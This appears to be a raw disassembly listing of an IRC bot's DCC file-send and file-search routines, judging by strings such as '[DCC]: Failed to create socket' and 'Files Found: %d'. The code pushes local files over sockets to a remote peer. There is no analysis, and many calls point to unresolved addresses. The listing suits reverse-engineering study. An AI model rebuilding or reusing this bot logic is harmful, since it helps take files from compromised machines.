sub_40C040	proc near		; CODE XREF: sub_401FCDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_402059
sub_40C040	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C060	proc near		; CODE XREF: sub_4020F9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_40C060	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C080	proc near		; CODE XREF: sub_401839j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_40C080	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C0A0	proc near		; CODE XREF: sub_40213Aj
		mov	eax, ecx
		retn
sub_40C0A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C0C0	proc near		; CODE XREF: sub_4014A6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40105A
		mov	eax, esi
		pop	esi
		retn	4
sub_40C0C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C0F0	proc near		; CODE XREF: sub_401CE9j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_40C0F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C120	proc near		; CODE XREF: sub_40106Ej

var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401B86
		mov	ecx, eax
		call	sub_4016A4
		mov	esi, eax
		push	esi
		call	sub_4020F9
		push	esi
		mov	ebx, eax
		call	sub_40213F
		mov	ecx, [eax]
		push	ecx
		call	sub_4020F9
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_40213F
		push	esi
		mov	ebx, eax
		call	sub_4020F9
		mov	eax, [eax]
		push	eax
		call	sub_40213F
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401839
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401221
		push	esi
		mov	ecx, edi
		call	sub_401FCD
sub_40C120	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C1E0	proc near		; CODE XREF: sub_40213Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_40C1E0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C200	proc near		; CODE XREF: sub_40155Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_40C200	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C230	proc near		; CODE XREF: sub_402059j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_40C230	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C250	proc near		; CODE XREF: sub_401F14j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4011AE
		add	esp, 8
		retn	8
sub_40C250	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C280	proc near		; CODE XREF: sub_40105Aj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_40C280	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C2A0	proc near		; CODE XREF: sub_4016A4j
		mov	eax, [ecx]
		retn
sub_40C2A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C2C0	proc near		; CODE XREF: sub_401B86j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40133E
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_40C2C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C2F0	proc near		; CODE XREF: sub_401221j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_2
		pop	ecx
		retn	4
sub_40C2F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C310	proc near		; CODE XREF: sub_4011AEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40C32B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40C32B:				; CODE XREF: sub_40C310+11j
		retn
sub_40C310	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C360	proc near		; CODE XREF: sub_401BE5j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40C360
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	4
		push	0Eh
		push	5
		push	13h
		push	4Fh
		push	3
		push	3
		lea	eax, [esp+48h+var_24]
		push	4
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_401681
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
sub_40C360	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C400	proc near		; CODE XREF: sub_401712j

var_AB4		= dword	ptr -0AB4h
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= byte ptr -0A9Ch
var_A98		= byte ptr -0A98h
var_A94		= dword	ptr -0A94h
var_A90		= dword	ptr -0A90h
var_A8C		= dword	ptr -0A8Ch
var_A88		= dword	ptr -0A88h
var_A84		= dword	ptr -0A84h
var_A78		= byte ptr -0A78h
var_A74		= dword	ptr -0A74h
var_A70		= byte ptr -0A70h
var_A6C		= byte ptr -0A6Ch
var_A5C		= byte ptr -0A5Ch
var_A54		= byte ptr -0A54h
var_A3C		= byte ptr -0A3Ch
var_A38		= byte ptr -0A38h
var_A24		= byte ptr -0A24h
var_A1C		= dword	ptr -0A1Ch
var_A18		= dword	ptr -0A18h
var_910		= byte ptr -910h
var_710		= byte ptr -710h
var_510		= byte ptr -510h
var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40C400
		push	eax
		mov	large fs:0, esp
		sub	esp, 0AA0h
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4014D3
		mov	ebp, [esp+0ABCh+arg_0]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40C94E
		lea	ecx, [esp+0ABCh+var_A78]
		call	sub_401091
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+0AC4h+var_A3C]
		xor	esi, esi
		push	1
		push	eax
		mov	ecx, ebp
		mov	[esp+0ACCh+var_4], esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+0AC0h+var_A70]
		mov	byte ptr [esp+0AC0h+var_4], 1
		call	sub_40200E
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		push	esi
		push	1
		push	2
		mov	[esp+0AC8h+var_AA8], esi
		mov	[esp+0AC8h+var_AA4], esi
		mov	[esp+0AC8h+var_A90], esi
		nop
		call	near ptr 71AB3B91h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+0ABCh+var_AAC], ebx
		jnz	short loc_40C4CC
		lea	ecx, [esp+0ABCh+var_710]
		push	offset aDccFailedToCre ; "[DCC]: Failed	to create socket."
		push	ecx
		call	sub_5EDAB2
		nop
		add	esp, 8
		jmp	loc_40C8F5
; ---------------------------------------------------------------------------


loc_40C4CC:				; CODE XREF: sub_40C400+AFj
		xor	edx, edx
		push	esi
		mov	[esp+0AC0h+var_AA0], edx
		mov	word ptr [esp+0AC0h+var_AA0], 2
		mov	dword ptr [esp+0AC0h+var_A9C], edx
		mov	dword ptr [esp+0AC0h+var_A98], edx
		mov	[esp+0AC0h+var_A94], edx
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+0ABCh+var_AA0+2],	ax
		lea	eax, [esp+0ABCh+var_AA0]
		push	10h
		push	eax
		push	ebx
		mov	dword ptr [esp+0AC8h+var_A9C], esi
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_40C51A
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		push	eax
		push	offset aDccFailedToBin ; "dcc: failed to bind socket"
		jmp	loc_40C5C0
; ---------------------------------------------------------------------------


loc_40C51A:				; CODE XREF: sub_40C400+105j
		lea	eax, [esp+0ABCh+var_A88]
		lea	ecx, [esp+0ABCh+var_AA0]
		push	eax
		push	ecx
		push	ebx
		mov	[esp+0AC8h+var_A88], 10h
		nop
		call	near ptr 71AB951Eh
		mov	edx, [esp+0ABCh+var_AA0+2]
		push	edx
		call	near ptr 71AB2B66h
		nop
		lea	ecx, [esp+0ABCh+var_A70]
		mov	[esp+0ABCh+var_A8C], eax
		call	sub_4014D3
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+0ABCh+var_910]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		xor	edx, edx
		rep movsb


loc_40C573:				; CODE XREF: sub_40C400+1A3j
		mov	al, [esp+edx+0ABCh+var_910]
		cmp	al, 20h
		jnz	short loc_40C585
		mov	eax, 5Fh
		jmp	short loc_40C588
; ---------------------------------------------------------------------------


loc_40C585:				; CODE XREF: sub_40C400+17Cj
		movsx	eax, al


loc_40C588:				; CODE XREF: sub_40C400+183j
		mov	[esp+edx+0ABCh+var_510], al
		lea	edi, [esp+0ABCh+var_910]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jbe	short loc_40C573
		push	1
		push	ebx
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_40C5DD
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		push	eax
		push	offset aDccFailedToOpe ; "dcc: failed to open socket"


loc_40C5C0:				; CODE XREF: sub_40C400+115j
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		jmp	loc_40C8EF
; ---------------------------------------------------------------------------


loc_40C5DD:				; CODE XREF: sub_40C400+1B0j
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		lea	ecx, [esp+0AD4h+var_A70]
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 2840000h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C644
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccFileDoesnTE ; "dcc: file doesn't exist"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	edx, [esp+0ABCh+var_710]
		push	offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist."
		push	edx
		nop
		call	sub_5EDAB2
		add	esp, 8
		jmp	loc_40C8EF
; ---------------------------------------------------------------------------


loc_40C644:				; CODE XREF: sub_40C400+201j
		push	0
		push	esi
		call	near ptr 2830B0Eh
		nop
		lea	ecx, [esp+0ABCh+var_A54]
		mov	ebx, eax
		call	sub_401424
		mov	eax, [esp+0ABCh+var_A8C]
		push	ebx
		and	eax, 0FFFFh
		mov	byte ptr [esp+0AC0h+var_4], 2
		push	eax
		mov	eax, dword_4D60CD
		push	eax
		call	sub_401DF7
		add	esp, 4
		push	eax
		nop
		call	near ptr 71AB2BF4h
		push	eax
		nop
		call	near ptr 71AB2BC0h
		push	eax
		lea	ecx, [esp+0AD0h+var_A78]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+0AD4h+var_A5C]
		push	offset dword_443A30
		push	ecx
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+15h]
		call	sub_401681
		push	eax
		lea	ecx, [esp+0AC8h+var_A5C]
		call	sub_4014D3
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		mov	edi, [esp+0AC4h+var_AB4]
		lea	ecx, [esp+0AC4h+var_A88]
		push	ecx
		push	0
		lea	edx, [esp+0ACCh+var_A1C]
		push	0
		push	edx
		push	0
		mov	[esp+0AD8h+var_A88], 3Ch
		mov	[esp+0AD8h+var_A84], 0
		mov	[esp+0AD8h+var_A18], edi
		mov	[esp+0AD8h+var_A1C], 1
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jg	short loc_40C73D
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccTimeout ; "dcc: timeout"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		jmp	loc_40C8DA
; ---------------------------------------------------------------------------


loc_40C73D:				; CODE XREF: sub_40C400+310j
		lea	edx, [esp+0ABCh+var_A84]
		lea	eax, [esp+0ABCh+var_A24]
		push	edx
		push	eax
		push	edi
		mov	[esp+0AC8h+var_A84], 10h
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		mov	[esp+0ABCh+var_A74], eax
		jnz	short loc_40C78D
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	offset aDccUnableToOpe ; "dcc: unable to open socket"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		jmp	loc_40C8DA
; ---------------------------------------------------------------------------


loc_40C78D:				; CODE XREF: sub_40C400+360j
		push	edi
		nop
		call	near ptr 71AB9639h
		test	ebx, ebx
		jz	loc_40C845


loc_40C79C:				; CODE XREF: sub_40C400+438j
		mov	ebp, 400h
		cmp	ebx, ebp
		jge	short loc_40C7A7
		mov	ebp, ebx


loc_40C7A7:				; CODE XREF: sub_40C400+3A3j
		mov	edx, ebx
		xor	eax, eax
		neg	edx
		push	2
		mov	ecx, 100h
		lea	edi, [esp+0AC0h+var_40C]
		push	eax
		push	edx
		push	esi
		rep stosd
		nop
		call	near ptr 2830000h
		lea	eax, [esp+0ABCh+var_A90]
		push	0
		push	eax
		lea	ecx, [esp+0AC4h+var_40C]
		push	ebp
		push	ecx
		push	esi
		call	near ptr 2820B76h
		nop
		mov	eax, [esp+0ABCh+var_A74]
		push	0
		lea	edx, [esp+0AC0h+var_40C]
		push	ebp
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [esp+0ABCh+var_AA8]
		mov	ebp, [esp+0ABCh+var_AA4]
		mov	edi, eax
		push	0
		cdq
		add	ecx, eax
		push	400h
		mov	[esp+0AC4h+var_AA8], ecx
		lea	ecx, [esp+0AC4h+var_40C]
		adc	ebp, edx
		mov	edx, [esp+0AC4h+var_A74]
		push	ecx
		push	edx
		mov	[esp+0ACCh+var_AA4], ebp
		call	near ptr 71AB615Ah
		nop
		cmp	eax, 1
		jl	loc_40C90E
		cmp	edi, 1
		jl	loc_40C90E
		sub	ebx, edi
		jnz	loc_40C79C
		mov	ebp, [esp+0ABCh+arg_0]


loc_40C845:				; CODE XREF: sub_40C400+396j
		push	esi
		nop
		call	near ptr 282071Eh
		lea	ecx, [esp+0AB8h+var_A38]
		call	sub_401424
		mov	eax, [esp+0AB8h+var_AA0]
		mov	ecx, [esp+0AB8h+var_AA4]
		push	eax
		push	ecx
		lea	ecx, [esp+0AC0h+var_A6C]
		mov	byte ptr [esp+0AC0h], 3
		call	sub_4014D3
		mov	edx, [esp+0AC0h+var_A1C]
		push	eax
		push	edx
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+0ACCh+var_A3C]
		push	offset aDccCompleteToS ; "dcc: complete	to %s, file: %s, (%d byte"...
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+0AC0h+var_A3C]
		call	sub_4014D3
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 2
		call	sub_401226


loc_40C8DA:				; CODE XREF: sub_40C400+338j
					; sub_40C400+388j
		lea	ecx, [esp+0ABCh+var_A54]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		mov	ebx, [esp+0ABCh+var_AAC]


loc_40C8EF:				; CODE XREF: sub_40C400+1D8j
					; sub_40C400+23Fj
		xor	esi, esi
		cmp	ebx, esi
		jbe	short loc_40C8FC


loc_40C8F5:				; CODE XREF: sub_40C400+C7j
		push	ebx
		nop
		call	near ptr 71AB9639h


loc_40C8FC:				; CODE XREF: sub_40C400+4F3j
		mov	eax, [esp+0ABCh+var_A74]
		push	eax
		nop
		call	near ptr 71AB9639h
		push	esi
		nop
		call	near ptr 2820000h


loc_40C90E:				; CODE XREF: sub_40C400+427j
					; sub_40C400+430j
		mov	esi, [esp+0ABCh+arg_0]
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aDccSocketError ; "dcc: socket error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		mov	edx, [esp+0ABCh+var_A74]
		push	edx
		nop
		call	near ptr 71AB9639h
		push	1
		nop
		call	near ptr 2820000h


loc_40C94E:				; CODE XREF: sub_40C400+39j
		mov	ecx, [esp+0ABCh+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 0AACh
		retn	4
sub_40C400	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CAD0	proc near		; CODE XREF: sub_401091j
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8]
		call	sub_401424
		mov	eax, esi
		pop	esi
		retn
sub_40CAD0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CAF0:				; CODE XREF: ___:loc_401AFFj
		add	ecx, 8
		jmp	sub_401226
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40CB10	proc near		; CODE XREF: sub_402045j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CB10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	0Ch
		push	9
		lea	eax, [esp+38h+var_24]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
sub_40CB10	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CBB0	proc near		; CODE XREF: sub_401BA4j

var_279		= byte ptr -279h
var_278		= byte ptr -278h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= byte ptr -258h
var_247		= byte ptr -247h
var_232		= byte ptr -232h
var_221		= dword	ptr -221h
var_21D		= dword	ptr -21Dh
var_219		= dword	ptr -219h
var_215		= dword	ptr -215h
var_211		= dword	ptr -211h
var_20C		= byte ptr -20Ch
var_208		= byte ptr -208h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40CBB0
		push	eax
		mov	large fs:0, esp
		sub	esp, 270h
		add	ecx, 4
		push	esi
		call	sub_4014D3
		mov	esi, [esp+280h+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40CDAE
		push	ebx
		lea	ecx, [esp+284h+var_260]
		call	sub_40198D
		lea	eax, [esi+2Ah]
		xor	ebx, ebx
		push	eax
		lea	ecx, [esp+288h+var_25C]
		mov	[esp+288h+var_4], ebx
		mov	[esp+288h+var_260], ebx
		call	sub_40200E
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+28Ch+var_278]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+288h+var_247]
		call	sub_401A87
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+28Ch+var_278]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 2
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+288h+var_232]
		call	sub_401A87
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		mov	edx, [esp+284h+var_221]
		xor	eax, eax
		mov	al, [esi+94h]
		xor	ecx, ecx
		mov	cl, [esi+93h]
		mov	[esp+284h+var_219], eax
		lea	eax, [esp+284h+var_278]
		mov	[esp+284h+var_215], ecx
		push	edx
		push	eax
		lea	ecx, [esp+28Ch+var_232]
		mov	[esp+28Ch+var_21D], ebx
		mov	[esp+28Ch+var_211], 1
		call	sub_401E2E
		push	offset asc_443B04 ; "\\"
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 3
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		setz	[esp+284h+var_279]
		call	sub_401226
		cmp	[esp+284h+var_279], bl
		jz	short loc_40CD2B
		mov	ecx, [esp+284h+var_221]
		lea	edx, [esp+284h+var_278]
		push	ecx
		push	edx
		lea	ecx, [esp+28Ch+var_232]
		call	sub_401E2E
		push	offset dword_446F74
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 4
		call	sub_401A87
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226


loc_40CD2B:				; CODE XREF: sub_40CBB0+142j
		push	ebx
		lea	ecx, [esp+288h+var_232]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+28Ch+var_247]
		call	sub_4014D3
		push	eax
		mov	eax, [esp+290h+var_219]
		push	eax
		lea	ecx, [esp+294h+var_25C]
		call	sub_401681
		mov	ecx, [esp+294h+var_260]
		push	eax
		push	ecx
		call	sub_402257
		add	esp, 18h
		lea	edx, [esp+284h+var_20C]
		push	eax
		push	offset aFilesFoundD ; "Files Found: %d"
		push	edx
		nop
		call	sub_5EDAB2
		mov	eax, [esp+28Ch+var_211]
		add	esp, 0Ch
		cmp	eax, ebx
		jnz	short loc_40CD99
		mov	eax, [esp+280h+var_215]
		lea	ecx, [esp+280h+var_208]
		push	eax
		push	ecx
		lea	ecx, [esp+288h+var_258]
		call	sub_401681
		mov	edx, [esp+288h+var_25C]
		push	eax
		push	edx
		call	sub_401523
		add	esp, 10h


loc_40CD99:				; CODE XREF: sub_40CBB0+1C6j
		mov	eax, [esp+280h+var_219]
		push	eax
		call	sub_401E24
		add	esp, 4
		push	ebx
		nop
		call	near ptr 2820000h
		pop	ebx


loc_40CDAE:				; CODE XREF: sub_40CBB0+36j
		mov	ecx, [esp+280h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 27Ch
		retn	4
sub_40CBB0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CE60	proc near		; CODE XREF: sub_40198Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CE60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_401424
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_40CE60	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CEE0:				; CODE XREF: ___:loc_40226Bj
		push	0FFFFFFFFh
		push	offset loc_438D86
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+2Eh]
		mov	dword ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		lea	ecx, [esi+4]
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CF60	proc near		; CODE XREF: sub_402257j

var_548		= byte ptr -548h
var_51C		= byte ptr -51Ch
var_51B		= byte ptr -51Bh
var_408		= byte ptr -408h
var_304		= byte ptr -304h
var_200		= byte ptr -200h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h

		sub	esp, 548h
		lea	eax, [esp+548h+var_408]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+554h+arg_10]
		push	edi
		mov	edi, dword_50FAD8
		push	esi
		push	offset aS_2	; "%s\\*"
		push	104h
		push	eax
		call	edi	; _snprintf
		add	esp, 10h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		call	near ptr 2860000h
		nop
		mov	ebp, [esp+558h+arg_14]
		mov	ebx, eax
